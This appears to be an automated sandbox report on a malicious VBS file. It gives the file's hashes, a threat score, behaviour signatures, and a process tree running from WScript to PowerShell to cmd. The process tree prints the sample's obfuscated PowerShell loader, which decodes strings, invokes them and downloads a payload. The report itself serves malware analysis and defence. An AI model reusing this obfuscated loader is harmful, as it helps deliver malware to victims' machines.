Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    08/06/2024, 07:18

General

  • Target

    83d3658eae751eca0688750d43d8c07889b437eca461ba5a41b552048d3ad75d.vbs

  • Size

    23KB

  • MD5

    70e2991e57991e054e3473a4a9ec2a63

  • SHA1

    1fe4276566a2c6e7db0ab8b85cdc7b4de9cf86c1

  • SHA256

    83d3658eae751eca0688750d43d8c07889b437eca461ba5a41b552048d3ad75d

  • SHA512

    4f32f979ca9da2bcca42d727f08215f8b652b17d0e98d9e31fe6f5414789731bf9805d8f74990af917ea8c2b0b4f0fa9124101759df17d4c601d90670f76300d

  • SSDEEP

    384:AcYk2uAnvIa7Yp000ekqThmLjp45PyUi6KkNXmNYXkfRf:Acx2p57qQqejpAPyUi6BNXxUft

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\83d3658eae751eca0688750d43d8c07889b437eca461ba5a41b552048d3ad75d.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Lgknoldet = 1;Function Berringsfladen190($Scratchcard){$Coil=$Scratchcard.Length-$Lgknoldet;$Kodfoderets='Substring';For( $gadebilledet=7;$gadebilledet -lt $Coil;$gadebilledet+=8){$Underargue+=$Scratchcard.$Kodfoderets.Invoke( $gadebilledet, $Lgknoldet);}$Underargue;}function Forlyder($Climata11){ & ($Spatten) ($Climata11);}$benzimidazole=Berringsfladen190 'At,osfrMOsteopeoWheelabzIconveriAnnicaslSquiffilUndisciaSyninge/ Militr5Autobah.R.educa0Nonrege Untast.(ArbejdsWKonsti i UnderlnapiolindThermogoSvensknwPhototusKelpi,g TwofersNNudni.kTEntreat aianis1 Ari.rs0Aminotr. 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(Berringsfladen190 ' Sundhe$ Besku BKampk,ar DopplenPoncedneSjlelivs Khahooa,orestia RigborrUnf.rio.WortworH Fritage MonograDemiss.dkonsumeeHelbredr deconcsDru.maa[Rodkno.$TeleskoTSpk.uggi Unn tirArtillevCoronateCurs,re] Rea,ti=Reperso$AsketerbMiljpaaeBeboelsnbamboozzHal.geniyerkednmPsammopiIndividd commena Lemlstz.ackeysoKildeskl ynenefe Opslmm ');$Vicontiels=Berringsfladen190 ' Cult v$PaginerB Eve,tyrUr,nomenAfgangseRibningsMu icataBesgactaCognat rGenicul.PorphyrDBilandeoargumenwMac.otonEfterralTollek osmlehovaOvervind OversiFTv vlraiTeledenlLeikafoeBitterb(titulad$Data.ash NuleneaEscandawKphjestkLeukstrl Daughti Ug.kork arbuckeRegnska,Galgenf$ AfdampP Uhllost ashpeeeRiddamprAepost oseismomsBrandfapIndsk.ieLedelinr Ejend.mTrffedeo aestrouGalmandswurleyp)Unfavou ';$Pterospermous=$Beklageligeres[0];Forlyder (Berringsfladen190 ' Flyv,r$Plu,aligKompenslA elopro ThreepbGa.tritaKontoralBlommes: Heli.pOOpskrtekOneirosknotkerieFrihederGaneftrn,arkanteAttaindsSpkhugg1Velaryd9Spisefr8Skybru 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ficsproblem)Mink.ar ') ;Forlyder (Berringsfladen190 'Oliefar$Konc rngAnaly.el GlyoxyoRaf.inebDisq,isaZoransbl Arguit:KulturmPOrthoceuVerden,sWigletstEdsformeCaloricrKolonneuDe.elecm FortepmVemo.sse,nlagemnCha,emoe Dimiss=Phellog$NotochogSocketll,ndespooVammelhbBrakvanaByggemylStoette:Kolokv.eEjendomxNonulcecPebbleha undervvRaakremaCrookintSre ebaeDeskr,ps Unfatt+Avenuer+Steffis% Sku.ri$Joypop.BChokolauM.tvasktPriorizyLigaturlMagnascaEarscremStratociFrimeninS.hverteTwe vem.WanglincTruttacoweaseleu.udipednSe,vanttKa.eand ') ;$hawklike=$Butylamine[$Pusterummene];}$unentrapped=293328;$Zooplasty177=30076;Forlyder (Berringsfladen190 'Espe,an$ SelskagSt.gsejlTacheomoSemiquibActuariarecrushl fisker:RelishiAKompromgSemostogCircumfrG,noesee Ensilag,yppelsaB holdntMultisoeKejserptUdkaarisEt.onom Mor,inb=Outbrag TindingGGlycopeeLvs.ovetassurer-EineborC Mol,bdoOptrkkenunl.beltPyrenoieGrskepen Gyrinit F lker Uncolor$ Gluep PFo.dumstEgalitee EmissirScaremoodesertes UnderdpbeadroleComputeropercu mFugtigkoSjllanduColyticsPa idae ');Forlyder (Berringsfladen190 'Enaptse$CurranagPonyerslSlutbetoShoddywbCapsuliaNervulolGospel.: Bur.auR Dysleke O alizlHomotraeSaltiesgGymnasieAshramsrEidologi TuparanFotocelg Sorthae E.odfirScutchen Keelmae RenummsAngrebs Roekamp= Syg.jo Ahoycri[SuperesSUdtagetyLanier,sResprintAirbruseNavle,em Spor.e.Propo,tCEnamou oKonkurrnNeo.acivGladsakeSv,dekurUskoksntproinve]Refinis:Trowser:TaenkteFSerb rarEk pedeoNonellimMiswaytBSa menbaEntredesUnintereSaunder6Aminosy4 ReeshiSCarcinotdukkevorDiptycaiZind.senHelautogStrenge(Grovvar$ MethodAkassablgJackersg EventurShockineAnimistgTrini raBehov.ntPrereveeSlagt,ft LollypsBillige) Predic ');Forlyder (Berringsfladen190 ' Pa til$Dy frosgDesorbel RechaloFortrngbL idensaslavehal,astril:MutismpPSamhrigr ReciviaAfholdei holines C relleBeedigerInd,ere Forhold=Superw pehohom[.earlssSDeci.esybsseninsDiscerpt ybstegeModstanmE.ratum.RestrikT InexoreH,lgenex Sc,phatSpouseh. sningeEBnd llanLejdesacO,erridoFamlesfdDicingoi Thiochn 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      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:464
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\kreditten.Non && echo t"
        3⤵
          PID:3064

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Flyulykker.txt

            Filesize

            4KB

            MD5

            36113f68a185488c2fbe2bfcf34bcfdc

            SHA1

            3e702a1bda44d41c8fad9ad56039be843c9a0706

            SHA256

            fb796fb121a29aed4ca01f2cce8d3b59b70afd4978cbecd25625c2c45812e233

            SHA512

            96bd9b00e3a3a6dc789bbb5414206e826b412596c39044b6c8e5d4a8624d49b75a991714858fa7c7d4bd5864cca82473eb311ef08d2fbddc33e1f7ff3f1ade45

          • memory/464-328-0x000007FEF5F1E000-0x000007FEF5F1F000-memory.dmp

            Filesize

            4KB

          • memory/464-329-0x000000001B650000-0x000000001B932000-memory.dmp

            Filesize

            2.9MB

          • memory/464-330-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

            Filesize

            32KB

          • memory/464-331-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

            Filesize

            9.6MB

          • memory/464-332-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

            Filesize

            9.6MB

          • memory/464-335-0x000007FEF5C60000-0x000007FEF65FD000-memory.dmp

            Filesize

            9.6MB